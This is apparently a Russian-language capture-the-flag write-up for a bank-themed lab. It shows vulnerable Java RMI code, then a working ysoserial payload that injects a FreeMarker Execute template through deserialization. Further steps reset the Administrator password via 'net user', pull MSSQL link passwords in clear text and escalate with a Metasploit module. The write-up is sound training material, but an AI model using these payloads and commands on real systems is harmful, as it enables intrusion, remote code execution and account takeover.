# Transaction Zone ## Описание У нас мало времени. В банке начали что-то подозревать, поэтому, как получишь доступ к какой-то машине, присылай нам ip-адрес. Наша команда OSINT нашла исходный код от какого-то продукта банка, может быть тебе пригодится. Исходный код расположен по [ссылке](https://dropmefiles.com/lqr6k). Содержимое файла `TransactionPool.java` ```Java package ru.bank.currency; import freemarker.template.Configuration; import freemarker.template.Template; import freemarker.template.TemplateException; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import java.io.*; import java.util.ArrayList; import java.util.HashMap; import java.util.Map; public class TransactionPool implements Serializable { private static final long serialVersionUID = 0L; protected static final Logger LOGGER = LoggerFactory.getLogger(TransactionPool.class); private ArrayList<Transaction> transactions; public TransactionPool() { this.transactions = new ArrayList<Transaction>(); } public TransactionPool(ArrayList<Transaction> transactions) { this.transactions = transactions; } public TransactionPool(Transaction transactions) { this.transactions = new ArrayList<Transaction>(); this.transactions.add(transactions); } private class Transaction implements Serializable { public Transaction() { } public int receiverid; public int senderid; public double amount; private String comment; @Override public String toString() { String templateStr = "Transaction: " + "receiver: ${trans.receiverid!} " + "amount: ${trans.amount!} " + "sender: ${trans.senderid!} " + "amount: ${trans.amount!} " + "comment: " + this.comment; Map<String, Object> data = new HashMap<String, Object>(); data.put("trans", this); Template template; try { template = new Template("Transaction", new StringReader(templateStr), new Configuration()); } catch (IOException e) { throw new RuntimeException(e); } StringWriter result = new StringWriter(); try { template.process(data, result); } catch (TemplateException e) { throw new RuntimeException(e); } catch (IOException e) { throw new RuntimeException(e); } return result.toString(); } } private void readObject(ObjectInputStream ois) throws ClassNotFoundException, IOException { ois.defaultReadObject(); LOGGER.info(this.transactions.toString()); // Logger req } } ``` Содержимое файла `TransactionPoolInterface.java` ```Java public interface TransactionPoolInterface extends Remote { String addTransactionPool(Object transactionPool) throws RemoteException; } ``` ## Краткое описание уязвимостей На одном из серверов доступен RMI-сервис с уязвимостью десериализации класса, в методе `toString()` которого используется `freemarker` для шаблона строки. Он подвержен атаке SSTI. Далее после получения RCE необходимо повысить привелегии через Link на другом сервере. # Решение ## Исследование сервера Полученные файлы являются частью RMI-сервера. Один из файлов показывает сигнатуру метода `addTransactionPool`, что позволяет его использовать. С использованием [Remote Method Guesser](https://github.com/qtc-de/remote-method-guesser) можно подтвердить наличие интерфейса из файла. ![RMG Enum](https://i.imgur.com/UP0FD3o.png) Уязвимость можно обнаружить в исходном коде класса `Transaction`, а именно SSTI в методе `toString()` с использованием поля `comment`. Метод `readObject()` вызывается при каждой десериализации объекта. В этом методе реализовано логгирование объектов, формат которых и обозначен в `toString()` класса `Transaction`. ## Подготовка эксплоита и исполнение Чтобы использовать уязвимость можно написать собственный модуль для [ysoserial](https://github.com/frohoff/ysoserial), который будет создавать необходимый объект для эксплуатации. ```Java package ysoserial.payloads; import ru.bank.currency.TransactionPool; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; import java.io.Serializable; import java.lang.reflect.Constructor; import java.util.ArrayList; @SuppressWarnings({"rawtypes", "unchecked"}) public class TestCase extends PayloadRunner implements ObjectPayload<Object>, Serializable { public Object getObject(final String command) throws Exception { TransactionPool badtrans = new TransactionPool(); Class<?> c = TransactionPool.class.getDeclaredClasses()[0]; Constructor<?> constructor = c.getDeclaredConstructors()[0]; constructor.setAccessible(true); final Object badtran = constructor.newInstance(badtrans); Reflections.setFieldValue(badtran, "comment", "${\"freemarker.template.utility.Execute\"?new()(\""+ command +"\")}"); ArrayList<Object> payload = new ArrayList<Object>(); payload.add(badtran); Reflections.setFieldValue(badtrans, "transactions", payload); return badtrans; } public static void main(final String[] args) throws Exception { PayloadRunner.run(TestCase.class, args); } } ``` Необходимо скомпилировать JAR-файл для работы с `RMG`, после чего запустить эксплоит следующей командой: `java -jar rmg.jar serial <host> 1099 TestCase 'net user administrator 1qaz@WSX' --signature 'String addTransactionPool(Object paramObject)' --bound-name TransactionPool --yso <jar-location> ` ![RMG Serial](https://i.imgur.com/eh4AAHg.png) Пароль учетной записи `Administrator` будет изменен, что позволит подключиться к хосту по RDP. ![FLAG RDP](https://i.imgur.com/TcKYoP5.png) Выясняем, что на сервере есть СУБД MSSQL и настроен Link на соседний сервер. Скачаем Get-MSSQLLinkPasswords.psm1 и получим пароль учетной записи, от которой работает Link в открытом виде. ![](https://i.imgur.com/WLbRRmO.png) Данная учетная запись не имеет прав SysDBA на удаленном сервере MSSQL, однако стоит проверить варианты повышения привилегий. С помощью модуля admin/mssql/mssql_escalate_dbowner в MSF можем проверить наличие привилегий db_owner и повысить привилегии в системе. ![](https://i.imgur.com/h6VCUCq.png) Отлично, теперь можем проверить свои привилегии в системе. При желании можно получить reverse shell и сделать privesc, как это было в офисе SPB. ![](https://i.imgur.com/tpNlhQ1.png) Но на самом деле, можно просто прочитать флаг в описании пользователя flag. ![](https://i.imgur.com/HzGuRiU.png)